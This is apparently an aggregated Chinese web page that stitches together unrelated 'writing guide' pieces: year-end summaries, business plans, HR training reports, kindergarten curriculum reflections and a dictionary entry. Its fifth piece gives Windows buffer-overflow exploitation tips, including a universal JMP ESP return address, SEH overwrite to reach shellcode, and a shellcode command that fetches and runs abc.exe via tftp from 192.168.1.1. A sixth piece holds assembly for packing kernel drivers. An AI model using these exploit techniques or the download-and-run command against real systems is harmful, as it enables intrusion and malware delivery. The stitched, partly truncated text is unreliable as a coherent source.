年终总结的编写指南

“枪弹壳儿”通过精心收集，向本站投稿了14篇年终总结的编写指南，以下是小编帮大家整理后的年终总结的编写指南，仅供参考，希望能够帮助到大家。

篇1：年终工作总结编写指南

发愁年终工作总结?五步搞定!

第一步：标题要对

标题是文章的眼睛。一般年终总结虽然没有发挥的余地，但一定要写全面。这里就分别以小部门和大公司的总结标题举个例：

部门总结的标题：部门名称+年度名称+总结，如《市场部工作总结》;

大公司总结的标题：关于+公司名称+年度名称+本文内容+总结，如《关于XX公司度市场工作总结》，这样就比较全面。

标题规范有两个好处，一是方便年终总结的存档保存，二是便于查找，可谓是一举两得的事。

第二步：引言要精

年终总结的引言应短而精，官话、套话要少。

部门总结引言，可以直接用“现将市场部年度总结报上，请批示。”这样的形式作为部门总结的引言，既减少了领导查看的时间，避免了不必要的啰嗦，同时也为自己节约了时间。

大公司总结的引言就稍稍要比部门年终总结的引言多一点了，比如写成：

“今年，在公司各级领导的亲切关怀和正确领导下，在公司各部门的积极支持下，在市场部全体员工的共同努力下，我们取得了三方面的成绩：成功实现年营销任务5000万元，达到了历史最高水平;成功开发了两个年销售收入在500万的大客户，为明年销售收入上一个新台阶打下了坚实的基础;成功地进行了全员市场培训，营销人员的基本素质得到了全面的提高。下面将分四个部分向领导汇报。”

这样写的好处在于，若是总裁太忙，一看引言就知道你的主要工作成绩了。

第三步：总结要全

年终总结主要分两大部分，第一部分是总结，第二部分是特点。

总结部分要全面，把各级领导的关心、兄弟部门的支持、员工们的努力和部门的主要工作要写全面，但一般不要超过5点。特点是本年度、本文的精彩之处，与往年的不同之处，是本部门在本年度所做出的主要的、重要的成绩，一定要认真地在年终总结中写好。特点一般不要超过3点，多了就不是特点了，别人也不容易记住。

第四步：不足要准

一年工作一定会存在一些问题、不足和遗憾，而这也是在写年终总结时一定需要要找准了才能写的。特别是要把领导认为存在的问题、员工感觉存在的问题和阻碍公司发展的主要问题找准、找对，并深刻反省，写深写透。但一般说来，不足之处不要超过3点。

第五步：改进要实

针对成绩、特点和不足、问题，明年应该怎么办，这是在写年终总结时值得注意的地方，同时也是领导所关注的重点之一。因此，改进一定要以实际出发，要有具体的办法和措施、步骤，要事先征求领导和员工的意见，部门内要组织好学习和讨论，制定出切实可行的改进计划，并要得到领导的中肯和员工的认可。当然，小部门的话就可以稍微简单一点。

总之，文章写作有八股，功夫诗外无止境。光看笔头生花，没有扎实的工作、没有认真的调研、没有准确的分析，是写不出好的年终总结的。如果平时对于这些没有留心，到年底实在是对年终总结发愁，那也就只能硬凑一份算了。

篇2：商业计划书编写指南

附录B商业计划书实例参考

撰写商业计划书的基本内容【二】

一、项目简介

一页纸的“项目简介”商业计划书中最重要、也是最挑战你文笔的内容。好比电视广告，它如果不能在10秒钟内引起观众的兴趣，观众就会按遥控器换频道。

虽然“项目简介”像是你的商业计划书的“迷你版”，但它并非要包含商业计划书的每一个方面。

用一句话来清晰地描述你的商业模式，即你的产品或服务;

用一句话来明确表述为什么你的创新及时解决了用户的问题，填补了市场的空缺;

用一句话(包括具体数字)来描述巨大的市场规模和潜在的远景;

用一句话来概括你的竞争优势;

用一句话来形容你和你的团队是一个“成功组合”;

用一句话(包括具体数字和时间)来概述你将如何在最短的时间内让投资人赚翻;

用一句话来陈述你希望融多少钱、主要用来干什么。

二、产品/服务

产品和服务就是你的商业模式，也就是将来你的公司将靠什么去赚钱?

别说什么“我们要成为中国最大的。。。。。。”也别说自己是“最好最好的。。。。。。”最忌讳空洞的语言，要具体数字说话。

三、开发市场

市场可以从三个方面看：宏观的、微观的、以及具体你如何开发自己的市场。

宏观的：如果你所能得到的宏观市场数据是从互联网站上下载的免费报告，这一类的信息适可而止，VC/PE们也都在浏览互联网。重要的是与你的产品直接相关的市场数据，即你的微观市场、你力所能及的市场，这些数据越详细越好，华经纵横建议：如果自己没有这些数据就购买专业机构相关报告，即使你没有这些数据VC/PE自己都会去找的，你有“服务意识”的话，不如先把VC/PE要做的工作都先给做了，这样你拿到钱的时间也可能会提前。

然后，你要说明你如何来行之有效地做市场，别斗胆说你需要1000万去做媒体广告建立企业品牌…..初创的公司是没钱玩那些奢侈游戏的';你不如说“我们已经和海尔达成意向，通过他们的渠道进行捆绑在全国推广......”

四、竞争对手

我不相信有哪家公司没有任何竞争对手。

比如说，你研发了一种全新的节能空调，vc都会去行业老大那里打听，比如看看海尔是不是有同类的产品，或者问问海尔为什么自己不研发这类产品，再让海尔谈谈对这类产品的看法和观点......

要是竞争对手也是创业公司，别怕，你应该比他们做得更好，只要你的产品比竞争对手的更先进，投资者会支持你，到时候也许投资者把对手给收购了，这不就解决了竞争的问题吗?

五、团队成员

对于清华、北大等名牌学校的毕业生自然这是一个千载难逢的亮相机会，海龟们也不例外，即使在西半球的某个偏僻小镇上的学校里只泡上了几天，照样也可以在自己脸上贴金。每个人的工作经历也都是重要的内容哦，要是你在大公司比如google、微软工作过，人们就有可能想象你的水平和比尔盖茨也不相上下。

如果你既没有进过名牌的大学，也没有在著名大公司里工作过，千万不要有失落感。你最好不要含糊其辞说“我经验丰富、曾在某某公司工作......”你可以具体挖掘一下你的真实才能，你是学习什么专业的，曾在公司里担任什么职务，做过些什么项目......团队是VC/PE投资的对象，也是VC/PE重点关注的内容，记得除了包装你自己以外，别忘了把你的团队成员也作详细。

六、收入

创建公司就像盖一座高楼，什么时候地基落成、什么时候封顶、什么时候交钥匙都是工程中的关键节点。

对于早期的创业公司来说，投资者最关心的是什么时候公司的产品能够顺利通过各种测试推向市场?什么时候公司账上开始有收入进来?什么时候公司达到盈亏持平?

当然，持平并不是投资者的最终目的，公司收支打平了，投资者就有信心给你更多的钱去扩大规模、去进一步发展。创业者们应该明白，无论你创立什么样的公司，账面收支持平越早越好。一个公司开始有收入了，说明公司的产品有市场价值;一个公司盈亏持平，说明它是有盈利潜力的;只有具有盈利能力的公司，才是正真有价值的公司，因而才会有更多的VC/PE会青睐你，给你送来更多的钱。

仔细想好你将迈出的每一个重要的脚步，确定你的公司在走向成功和辉煌道路上的每一个重要的时间节点。

七、财务计划

财务预测是商业计划书中最重要的部分之一。通常VC/PE对有兴趣的项目一定会要求详细的财务介绍。记住：至少做3年的财务计划，最好做5年，把重点放在第一年。

篇3：可行性研究报告编写指南

一、客户必读

二.可研报告的基本问题

三、编制可研报告常见问题汇总

四、各种类型的可研报告

第二部分 项目建议书/项目立项申请报告

一、客户必读

二、项目建议书/项目立项申请报告基本问题

三、各类项目建议书的.编制

第三部分 项目申请报告

一、客户必读

二、项目申请报告基本问题

三、编制项目申请报告常见问题汇总

四、各种类型的项目申请报告

第四部分 资金申请报告

一、客户必读

二、资金申请报告基本问题

三、各种类型的资金申请报告

四、各种类型的项目申请报告

篇4：关于HR培训结案报告编写指南

对于培训报告不知道有什么好主意的HR们，戳戳这里吧《关于HR培训结案报告编写指南》

一个培训项目实施后，对于该培训项目的总结至关重要。一方面，通过培训项目总结可以向项目重要干系人(组织高层、人力资源总监或培训总监、业务部门负责人)，汇报项目实施的信息，从而获得其对项目的关注和支持，对于培训管理工作的认可;另一方面，培训项目总结也是对于培训工作的知识管理，帮助培训管理者不断地改进完善工作，提升工作成果。

培训项目的总结通常是以培训结案报告的形式来呈现。根据组织对于汇报要求的偏好，可以采取纸质版报告、电子版报告或PPT版报告。争取组织高层的支持是做好培训工作的关键。如果向组织高层汇报培训信息，建议采取纸质版报告。

培训结案报告应该包含哪些内容和信息呢?

笔者认为，培训结案报告最基本的要素有：报告封面、目录、培训执行概述、培训图片回顾、培训效果评估、总结。以下详解之。

一、报告封面

报告封面的制作风格应简约，主要包含“某培训项目结案报告”、“呈报时间”、公司LOGO等简单信息即可。封面可配图片。图片宜选择具有代表性的专业职场图片，也可以用本公司的专用图片。所有的培训结案报告要在风格上保持一致(或使用统一的结案报告模板)。制作优良的结案报告图片既可以传递一种专业的态度，也可以在第一时间吸引读者的注意力。

二、目录

培训结案报告虽然篇幅不大，但最好配有目录，以体现报告的专业性。

三、培训执行概述

培训执行概述主要是对培训项目的回顾。陈述的内容有项目时间、项目名称、讲师、供应商、参训学员、培训主要内容、授课现场情况，以及培训效果评分等相关信息。

四、培训图片回顾

培训图片回顾主要是将培训图片进行剪辑、编排与说明。所配图片应尽量做到对于培训的全面回顾：既有学员集体照，也有单人学习照;既有讲师授课照，也有学员发言照;既有学员倾听照，也有小组互动照;既有近景特写照，也有愿景全貌照。所有图片按培训实况顺序排列图片。每张图片配说明性文字，图文并茂。

五、培训效果评估

培训效果评估主要是对效果评估问卷反馈信息的统计与呈现。可能包括的内容有：基本信息、教学效果评估、随堂测验评估、培训的收获、对于培训建议、进一步培训的需求等。

基本信息包括课程名称、时间、地点、讲师、参训人调查人数等;

教学效果评估是针对教学的环节进行的评估。评估应不仅仅表现出最终的统计分数，最好能够按照效果评估问卷的框架展示出各项得分情况，即每一项有几个人给了10分，几个人给了9分，平均分是多少。将各项得分的平均分相加，就是本次培训的总平均分数。这样做的好处是可以让我们更清晰地了解到，对于培训效果影响的因素。

随堂测验评估是针对学员进行的评估(如果安排培训有随堂测验的环节)。通过他可以了解学员对于所学内容的掌握情况。可将每个学员及其测验分数用表格的形式来进行呈现。

“培训的收获”、“对于培训的建议”、“进一步培训的需求”等都是学员对于培训所表达的主观感受和期望。既有相同相似的部分，也会有个性化的部分。同时，既可以分别呈现每个学员的感受和期望，也可以将相同相似的感受和期望归纳后统一呈现。但不论何种方式，每类感受后面最好标注出评价者的姓名。这样有利于培训管理者以及报告审阅者对于培训的效果有更加具体和客观的认识。

六、总结

总结可以包含三部分的内容。

第一部分，再次对于培训的整体效果进行一个概括性的陈述，着重强调本次培训带来的收益和影响。

第二部分，总结本次培训执行过程中出现的问题和失误，提出未来改进的思路和方法。

第三部分，根据学员在培训过程中表现及反馈，对于企业培训的开展和规划提出意见和建议。

篇5：观《菜鸟版Exploit编写指南》有感

第一个问题：JMP ESP地址的通用性问题，

F.Zh在两篇文章中都强调JMP ESP的操作码在内存中的地址，它对版本是有依赖性的，并强调多一次机会放上两个版本的返回码，可以多一次成功的机会。

开始自己也是这么认为的，但后来偶然查到，Lion公布了跳转到EBX的通用地址，也就是F.Zh文章中所说的0x7FFA1571，而且Lion后来也公布了JMP ESP的通用地址--0x7ffa4512。

查到这个，心中狂喜！马上按F.Zh介绍的方法，写出LSA的溢出程序，并放上0x7ffa4512作为跳转地址。然后测试了中文Windows 的所有SP版本，还有XP和，发现都是有效的。因为这个地址会给大家很大的帮助，所以这里说说，作为F.Zh文章的补充吧。

第二个问题：可以利用jmp /call ebx的原理。

F.Zh在讲用JMP ESP覆盖返回地址方法的时候，写地很清楚了，建议大家仔细阅读。但在讲用“jmp / call ebx”覆盖异常的时候，F.Zh只是说I=2844的地方放“jmp / call ebx”，程序就会执行到I=2840，我们在I=2840的地方放“NOP/NOP/Jmp 4”，在I=2248放上我们的ShellCode，就可以完成跳转了！但自己心中就有个疑问：为什么执行“jmp /call ebx”会到前面4个字节呢？

后来查了大量资料和文章，发现机制原来是这样的：在用JMP ESP覆盖返回地址方法时，我们知道将返回地址覆盖成另一个地址。但如果是个无效的地址呢？那里指向的数据或许不能读，或许不能执行，那会怎么样呢？

其实相信大家都遇到过，那就是系统会弹出个对话框报错，我们点确定，就会终止运行。这是因为作为一个系统级的程序，内部有健全的出错处理机制。简单的说，如果运行时有错误产生，Windows就会跳到一个专门处理错误的地方，对应不同的错误，执行不同的代码。上面执行的代码就是弹出个对话框报错。Windows处理错误的机制

当有异常错误发生时，EIP指向上图的“处理程序地址”，而EBX自动为“下一处理地址”，这样就可以把异常处理地址连接起来，形成了一个异常处理串，

所以这里我们故意把返回的地址覆盖成一个错误的地址。出错时，Windows就会跳到处理错误的入口，而EBX指向入口前4个字节的地方，我们在这里毫不客气的一起覆盖了！哈哈！情况变成下面这样了，那当然可以跳到ShellCode了，这就是接管异常，听起很有成就感吧？！

第三个问题：检查覆盖地址错误还是ShellCode被改变的方法。

在第二篇文章中，F,Zh重点在于如何找到要覆盖地址的位置。方法很巧妙，也很实用，但只是在找到覆盖的地方后，简单的附加上了现成的ShellCode。利用该方法，在实际的应用中常常不能一下就成功的实现ShellCode的功能。

这可能有两个原因，一或者是覆盖地址不对，二或者是ShellCode中的一些字符或者被改变、截断，表现出来就都是完成不了我们想要的功能。在这种情况下，我们需要知道究竟是覆盖地址错误了，还是ShellCode被改变了？

在经过大量的测试后，自己发现一个很适合我们菜鸟的简单方法来判断，即在ShellCode的第一句添上“xeb\xfe”，即是“jmp C1”一个死循环，不要小瞧它，在调试中是很有用的。我们运行写好的Exploit攻击程序，如果返回地址正确，那么就会跳入“\xeb\xfe”这句死循环中，我们可以用调出SoftIce，发现一直陷入这句指令不走了，然后对照跟在后面的ShellCode，看它是否和我们编写的一样，这样可以比较容易的发现问题。

如果发现没有陷入“\xeb\xfe”这句死循环，那可以肯定覆盖的地址就是错的，需要重新定位覆盖点，或换成通用的覆盖地址。举个实际的例子来说吧：

自己在利用ROOT的程序测试Foxmail的漏洞时，就是用该方法来发现ROOT给的返回地址在自己的机子上是无效的，溢出后进入不了“\xeb\xfe”这句死循环，所以自己就换了一个返回地址，终于可以进入“\xeb\xfe”了，但还是完成不了功能，再对照ShellCode发现原来是“cmd /c tfpt CI 192.168.1.1 get abc.exe & abc.exe”这句中的“cmd /c”的“/”被替换了。知道问题就好办了，换了一个合要求的就可以了，呵呵。

有些时候经验是可遇不可求的，所以写出来，希望对大家能有点帮助，自己就很高兴了（脚本小子：那么高兴，稿费就算了吧？•#￥！%￥#%￥￥#）。

篇6：驱动壳编写总结

Author: PolyMeta

Email:  PolyMeta@whitecell.org

Homepage:www.whitecell.org

Date:   -05-27

壳作为一种主要的软件保护手段大概可以分为压缩壳和加密壳两类，而现在

流行的加壳程序无论是压缩的还是加密的几乎都是针对应用层程序的，对于驱动

程序的保护壳则几乎是空白。笔者只在一些国外加密狗的驱动中见过类似应用层

的保护壳。本篇文章主要介绍驱动加壳程序与应用层加壳程序在编写上的区别以

及一些注意事项。

1.校验和的计算

驱动程序被加壳后必须重新进行校验和的计算，否则加壳后的驱动加载会

失败

;*****************计算pe文件校验和*********************

CalcPECheckSum PROC lpBaseAddr:DWORD,dwFileSize:DWORD

LOCAL CheckSum:DWORD

pushad

mov   ecx,dwFileSize

inc   ecx

shr   ecx,1

xor   eax,eax

clc

mov   esi,lpBaseAddr

cal_checksum:

adc   ax,word ptr [esi]

inc   esi

inc   esi

loop  cal_checksum

mov   ebx,dwFileSize

add   eax,ebx

mov   CheckSum,eax

popad

mov   eax,CheckSum

ret

CalcPECheckSum endp

;*******************************************************

2.原始IAT的处理

由于原驱动程序被加上了我们的外壳，所以原驱动程序的IAT表的填写工作

要由我们的外壳程序来完成。应用层壳一般通过GetModuleHandle和GetProcAdd

ress两个API来完成这个工作，或者自己实现这两个API的功能。而驱动壳是要

随驱动程序一起被加载到内核当中去的，但内核里没有这两个函数，需要我们

自己对这两个函数做内核的实现。当然也可以用MmGetSystemRoutineAddress函

数，不过它只能得到ntoskrnl.exe和hal.dll两个模块的函数，对于其它模块则

无能为力了，影响壳的通用性。

壳的GetModuleHandle函数可以通过遍历PsLoadedModuleList链表来实现，

关于遍历这个链表的方法可以参照Futo的代码，通过DRIVEROBJECT的DriverSec

tion成员来完成，而驱动对象可以从堆栈当中找到。

壳的GetProcAddress函数的实现就很简单了，内核模块本身也是PE文件，

直接遍历一下PE的导出表就ok了。

还有一点需要注意的就是UNICODE的转换，PE文件里面的字符串是以ASCII

方式存储的，而内核里的字符串多半是用UNICODE方式存放的，这点需要注意。

3.节表的处理

在给程序加壳的时候一般都要添加新节，用于存放壳的代码，应用层程序

的节表的最后一项和第一个节之间一般是有一个很大的空间可以用来添加新的

节表项的，但一般情况下驱动程序节表的最后一项后面紧接着就是第一个节，

根本没有足够的0x28大小的空间存放新的节表项，

解决的方法有两种，第一种

将所有的节向后移动，而第二种方法则是将PE头整体向前移动覆盖掉部分无用

的dos头，留出足够的空间存放新的节表项。

另外一点需要注意的是，加壳后的驱动程序的每一个节表项必须满足如下

两个公式，才能被系统正常加载

1) VirtualAddress == PointerToRawData

2) SizeOfRawData >= VirtualSize

至于为什么，笔者也没搞清楚，这只是笔者通过分析驱动加载代码及实验

的结果，哪位仁兄知道还请赐教:)

4.重定位表的处理

由于驱动程序是要被加载到内核空间中，所以外壳必须实现原来由系统完

成的原驱动程序的重定位工作。原驱动程序的重定位表的处理方法跟应用层 D

LL 文件的处理方法完全一样,代码如下：

mov eax,dword ptr [ebp+OriginalRelocateAddr]

add eax,dword ptr [ebp+ModuleHandle]

mov ecx,dword ptr [ebp+OriginalRelocateSize]

mov ebx,eax

mov esi,dword ptr [ebp+ModuleHandle]

sub esi,dword ptr [ebp+OriginalBaseAddr] ;esi=diff

NextRelocateBlock:

.if ecx == 0

jmp FixAllRelocate

.endif

assume ebx : ptr IMAGE_BASE_RELOCATION

push ecx

mov ecx,dword ptr [ebx].SizeOfBlock

sub ecx,sizeof IMAGE_BASE_RELOCATION

shr ecx,1

mov eax,ebx

add eax,sizeof IMAGE_BASE_RELOCATION

NextRelocateEntry:

xor edi,edi

mov di,word ptr [eax]

shr edi,12

.if edi == IMAGE_REL_BASED_HIGHLOW

movzx edi,word ptr [eax]

and edi,0fffh

add edi,dword ptr [ebx].VirtualAddress

add edi,dword ptr [ebp+ModuleHandle]

add dword ptr [edi],esi

.endif

add eax,2

loop NextRelocateEntry

pop ecx

sub ecx,dword ptr [ebx].SizeOfBlock

add ebx,dword ptr [ebx].SizeOfBlock

jmp NextRelocateBlock

FixAllRelocate:

需要注意的一点：驱动程序被加壳后必须要有重定位表，否则驱动加载会失

败，解决的方法需要自己构造一个假的重定位表来替换原始的重定位表。

另外，由于驱动壳的特殊性，shell的编写和驱动程序的编写没什么区别，

稍有错误就会蓝屏。

写这篇文章的主要目的是对笔者在编写驱动加壳程序的过程中所遇到的一些

问题及其解决方法的总结，避免以后忘了，同时也给想写驱动壳的兄弟们一点我

的心得，少走一些弯路。

WSS(Whitecell Security Systems)，一个非营利性民间技术组织，致力于各种系统安全技术的研究。坚持传统的hacker精神，追求技术的精纯。

篇7：编写

编写

编写biān xiě[释义]

①（动）就现成的材料加以整理；写成著作；侧重于“写”；多用于口语。

②（动）创作。

[构成]  并列式：编＋写[例句]  ～教材。（作谓语）～剧本。（作谓语）[同义]  编纂①

篇8：幼儿园指南学习总结

我通过学习《纲要》，我逐渐感到幼儿教育的重要性，现将个人的学习经过，谈谈自己的学习心得：

幼儿教育需要创设有利于幼儿发展的机会与条件，通过幼儿自主的创设活动，促进幼儿发展，在教育教学活动中着重创造各种条件和环境力求在幼儿的启蒙阶段为他们作好铺垫，充分发觉他们的想象力，创造力等等，为今后成长打下坚实的基础。

其次，幼儿园的教育内容是全面性的，启蒙性的，各领域的内容相互渗透，从不同的角度促进幼儿情感，态度，能力，知识技能等方面发展。在以后的工作中，我会根据《幼儿园教育指导纲要》，结合本班幼儿的实际情况，制定切实可行的工作计划并灵活地执行。

通过学习，我觉得做为一名新教师，要得到孩子的喜爱，尊重。必须要学会尊重、信任孩子。要用发展，个别差异、全面的眼光来看待每一位孩子。要蹲下来和孩子一起看世界，才能使自己走进孩子的世界，做到真正了解孩子，掌握孩子的个性、发展规律和学习特点。从而帮助自己更好的来开展教育教学工作。

篇9：幼儿园指南学习总结

4月，北房镇中心幼儿园开展了有关学习《3-6岁儿童学习与发展指南》的系列活动。通过自学和集体学习，逐条研读和细化。并在对比、反思中，剖析了自己的教育行为，在交流和分享中，深化感悟了《指南》。但在具体的操作和贯彻过程中，我们遇到了很多问题，也有很多困惑。

学习体会：

《指南》对我们的教育教学非常实用，对老师们的工作也很有指导作用，能利于我们很好的贯彻落实《纲要》，规范我们的日常教育教学工作。让我们对五大领域的发展总目标有了深刻清楚的认识，《指南》的建议非常清晰、具体、有指向性;它是在《纲要》的基础上，将幼儿的学习和发展目标、要求按不同的年龄段进行细化，对各个年龄阶段的幼儿应该知道什么、要做什么、大致可以发展到什么程度提出了合理的期望，具有很强的操作性。作为一名幼儿教师，我们有义务和责任根据《指南》与家长配合进行因材施教，因此，学习《指南》对我们每位老师都具有重要的意义。

教师们的困惑：

1、“避免用整齐划一的标准评价不同的幼儿”，对比自身，感觉做得不好。如何在集体教学中兼顾大众与个体发展，避免整齐划一的标准。

2、“善于发现和捕捉突发性的教学问题”是《指南》中提出的，有时候面对突发性的事件总会手足无措。我们都知道，突发事件能给孩子们提供观察和探索的机会，知道该适时把握时机，让他们随意发挥，可这样做又偏离了活动的而目标。如何利用突发事件进行灵活有效的引导呢?如何把握引导的尺度?

需求：希望专家老师们能给予我们更多的指导，让我们将《指南》的精神和经验有效的落实到实际工作中，为北房的孩子们的学习和发展提供更好的引导和支持，让老师和孩子们共同成长!

篇10： 幼儿园指南学习总结

为了不断提高教师队伍整体素质，促进我园保教质量的提高，帮助家长树立科学的育儿观，学习正确的育儿方式方法，按照福建省教育厅《关于开展20xx年全省学前教育宣传月活动的通知》有关要求，我园进行了一系列有效地学习活动，现总结如下：

一、领导重视

5月20日，幼儿园召开会议学习福建省教育厅《关于开展20xx年全省学前教育宣传月活动的通知》有关要求，指出活动的主题是：学习《指南》，亲近孩子。并明确了这次宣传月活动的三个目的：

1、引导教师树立正确的教育观念，了解3-6岁幼儿学习与发展的基本规律和特点，建立对幼儿发展的合理期望，学习能够有效帮助和促进幼儿学习与发展的教育途径与方法，实施科学保育和教育，促进幼儿身心和谐全面发展，为幼儿后继学习和终身发展奠定良好的素质基础。

2、坚持以人为本，教师强园的发展理念，以全面提高教师队伍整体素质为核心，以加强继续教育，促进教师专业能力，提升为重，努力打造一支师德高尚，素质优良，富有活力的教师队伍。

3、帮助家长树立科学的育儿观，学习正确的育儿方式方法。

二、注重过程

学习时对教师采取自学、分教研组学习，外出学习。对全镇幼儿教师开展学习《指南》讲座，面向全镇幼师开展《指南》背景下的音乐活动观摩。对家长采取观看专家讲座、召开家长会、举办各种活动让家长参与等方式。具体如下：

1、对教师培训的过程

第一阶段：自主学习阶段

教师人手一份《指南》。认真通读《指南》中的各个条目，结合平时的教育教学进行学习反思学习，提出困惑和见解。

第二阶段：教研组集中学习阶段

(1)本园两个教研组分组对《指南》中的五大领域健康、语言、社会、科学、艺术进行深入的研读，并结合教师实际工作中遇到的问题和教师们提出的困惑及见解进行相互的讨论和积极思考。

(2)汇总两个教研组学习情况，结合实际案例进行剖析。

第三阶段：外出学习阶段

我们还积极派出园长、骨干教师赴福州、泉州学习，把学前教育最前沿的知识带回幼儿园分享所学所得，使大家都能受益。

第四阶段：成果分享阶段

(1)汇总教师学习《指南》的心得笔记和教研组开展学习的情况记录。

(2)6月3日在蓝天幼儿园面向全镇幼师郑h瑾园长开展践行《指南》理念，做好一日常规讲座。

(3)6月3日在蓝天幼儿园面向全镇幼师许娉婷老师开展《指南》背景下的音乐欣赏《水族馆》活动观摩。

2、对家长、社会的宣传

(1)通过幼儿园网络媒体宣传：通过幼儿园网站开辟学习《3―6岁儿童学习与福州指南》家长导读，学习专栏，深入阶段和宣传《指南》内容。

(2)家园宣传：制作《指南》宣传展板，放置于幼儿园显眼处，供家长阅读和学习。

经过一个月的学习和实践，我园老师对《指南》中提到的知识有了质的认识，并能结合平时的工作进行有效实施，但我们不只是停留在一个月的集中学习里，而是时时和处处要以《指南》的精神来指导工作，使《指南》能够随时、长期相伴我们的学习和工作。

篇11： 幼儿园指南学习总结

听了讲座《3-6岁儿童发展指南》之后，让我深深感觉指南里的一些理论应该让家长尽早知道，正如专家所说，这个指南不仅既适用于幼儿园，也适用于家长，我们以后在家长工作方面确实应该让家长多了解指南的内容，改变家长的一些不正确的观念比如说：要赢在起跑线上，让孩子学完这个学那个等一些强化训练，给孩子添过多的负担，要让家长们了解孩子的敏感期、让他们根据孩子的敏感期来正确引导孩子的学习。同时要让他们明白孩子也需要快乐生活，不能一味地学习,一味地忙着赶时间上各种培训班。

国家新制定的学习和发展指南从健康、语言、社会、科学和艺术等五个方面对幼儿身心全面发展做出相应指引，成为新时期幼儿教育的标杆。我们应该把指南与实践生活相结合，根据指南正确指导孩子在玩中学、做中学，让孩子们在快乐的生活游戏中学会做人、学会生活、学会分享、学会学习。

《指南》把幼儿的学习与发展分为健康、语言、社会、科学、艺术五个领域，分别对3～4岁、4～5岁、5～6岁三个年龄段的幼儿培养提出建议。以幼儿后继学习和终身发展奠定良好素质基础为目标，以促进幼儿在体、智、德、美各方面的全面协调发展为核心，旨在引导幼儿园教师和家长树立正确的教育观念，了解3～6岁幼儿学习与发展的基本规律和特点，建立对幼儿发展的合理期望。《指南》将幼儿的学习与发展目标、要求按不同的年龄段进行指导家长科学实施保育和教育的需要，对家长的科学育儿具有指导性作用。满足幼儿生活、学习、发展的需要，促进幼儿身心全面和谐发展。它更符合现代幼儿的身心发展规律和特点。《指南》不仅规范、细致、科学，有很强的指向性，而且具有明确的可操作性。《指南》更注重幼儿的全面发展，更注重健康、人格、心理、道德、社会交往能力和生活能力的培养。对“起跑线”观念有了针对性的纠偏，严禁了“拔苗助长”式的超前教育和强化训练。《指南》对成年人提出了明确要求。如：为了保护其自尊心和自信心，应关注幼儿的活动和表现，善于发现其优点和长处，多给予肯定和表扬，不要拿幼儿的不足与其他幼儿的优点作简单比较。尽量放手让幼儿自己的事情自己做，即使做得不够好，也应鼓励并给予一定的指导。允许幼儿犯错误，告诉他们做错了改了就好。不要打骂幼儿，以免他们因害怕惩罚而说谎。发现幼儿说谎时，要反思是否是因自己对幼儿的要求过高过严造成的。《指南》建议成年人注意语言文明，为幼儿做出表率。如：与他人交谈时，认真倾听，使用礼貌用语。在公共场合不大声说话，不说脏话、粗话。

教师在教学活动设计中应根据《指南》的建议，要切切实实的做好引导者，善于从幼儿的生活经验入手，以幼儿生活中常见的或经常接触到的事物引发幼儿深入学习，让幼儿能够靠自己的力量不断地发现问题，解决问题，积累经验，在活动得到成功的喜悦。

有了《指南》引领，家长和老师能够充分的沟通，共同树立对幼儿期望值正确的思想，以身作则，摆正教育重心，全方位的帮助孩子成长，让我们和家长全身心的投入到教育中来，充分调动每一个幼儿参与活动的主动性和积极性，让幼儿自由地、愉快地展现自己，让幼儿在幼儿园里度过一个快乐的童年。

篇12：总结的写作指南

总结的写作指南

一、总结的概念

总结是国家机关、社会团体、企事业单位等通过对过去一阶段工作的回顾和分析评价，判明得失利弊，提高理性认识，用以指导今后工作的一种常用文书。

总结可以使本系统、本地区、本单位、本部门某一项工作的实践活动由感性认识上升到理性认识，以便发扬成绩，克服缺点，吸取经验教训，使今后的工作少走弯路，多出成果。它可以为各级领导和机关提供基层工作的情况和经验，以便加强科学管理和指导。它还可以用于表彰先进，树立典型、交流推广先进经验，指导和推动面上的工作，促进两个文明建设的发展。

二、总结的特点

（一）内容的自我性。

总结是自身活动实践的产物。它以客观评价自身工作活动的经验教训为目的，以回顾自身工作情况为基本内容，以自身工作实践的事实为材料，其所总结出来的理性认识也应该反映自身工作实践的规律。所以内容的自我性是总结的本质特点。

（二）回顾的理论性。

总结应当忠实于自身工作实践活动，但是，总结不是工作实践活动的记录，不能完全照搬工作实践活动的全过程。它是对工作实践活动的本质概括，要在回顾工作实践活动全过程的基础上，进行分析研究，归纳出能够反映事物本质的规律，把感性认识上升到理性认识，这正是总结的价值所在。

三、总结的分类

根据内容的'不同，可以把总结分为工作总结、生产总结、学习总结、教学总结、会议总结等等。

根据范围的不同，可以分为全国性总结、地区性总结、部门性总结、本单位总结、班组总结等。

根据时间的不同，可以分为月总结、季总结、年度总结、阶段性总结等。

从内容和性质的不同，可以分为全面总结和专题总结两类。

四、总结的结构、内容和写法

总结一般由标题、正文和尾部三部分组成。

（一）标题。总结的标题大体上有两类构成形式：一类是公文式标题；一类是非公文式标题。公文式标题由单位名称、时间、事由、文种组成，如《××集团公司XX年度思想政治工作总结》、《××县XX年普法工作总结》，有的只写《工作总结》等。非公文式标题则比较灵活，有的为双行标题，如《增强体质，全面贯彻执行教育方针――开展多种形式的体育活动》，有的为单行标题，如《推动人才交流，培植人才资源》等。

（二）正文。总结正文的结构由前言、主体、结尾组成。

1、前言。即正文的开头，一般简明扼要地概述基本情况，交代背景，点明主旨或说明成绩，为主体内容的展开做必要的铺垫。例如：

“群众富不富，关键在支部；干部强不强，关键在班长”。能否选配好支部“一把手”，是加强农村基层党组织建设的核心。

在工作中，我们积极围绕支部班子建设这个重点，紧紧抓住配好支部书记这个关键，着力走好“选人”、“育人”、“用人”这三步棋，努力把工作引向深入。

2、主体。这是总结的核心部分，其内容包括做法和体会，成绩和问题，经验和教训等。这一部分要求在全面回顾工作情况的基础上，深刻、透彻地分析取得成绩的原因、条件、做法、以及存在问题的根源和教训，揭示工作中带有规律性的东西。回顾要全面，分析要透彻。

篇13：幼儿园指南培训总结

通过近段时间对《指南》的学习，我们更加明确了幼教工作的真正价值：“促进每个幼儿在不同水平上的发展；促进每个幼儿富有个性的发展；促进幼儿体、智、德、美方面的协调发展；为幼儿后继学习和终身发展奠定良好素质基础，而《指南》又为我们的教育行为提供了有利的理论依据和适宜的途径，它具有很强的操作性。

1、《指南》将五大领域又分成了若干个子领域，子领域中包括了该领域中最主要的若干个目标，这使我们的思路更加清晰。

2、在典型表现一栏中，有三个年龄段的对比，更加有助于我们理解与掌握。

3、在教育建议一栏中，有非常具体、详细的教育策略，这为我们更加有目的的实施教育活动提供了有力的帮助。

总之，现阶段我们对《指南》的学习只是片面的、粗浅的，我们还要更加深入的学习，并将《指南》的精神一一落实到日常工作之中，让幼儿收益的同时促进自我成长！

篇14：幼儿园指南培训总结

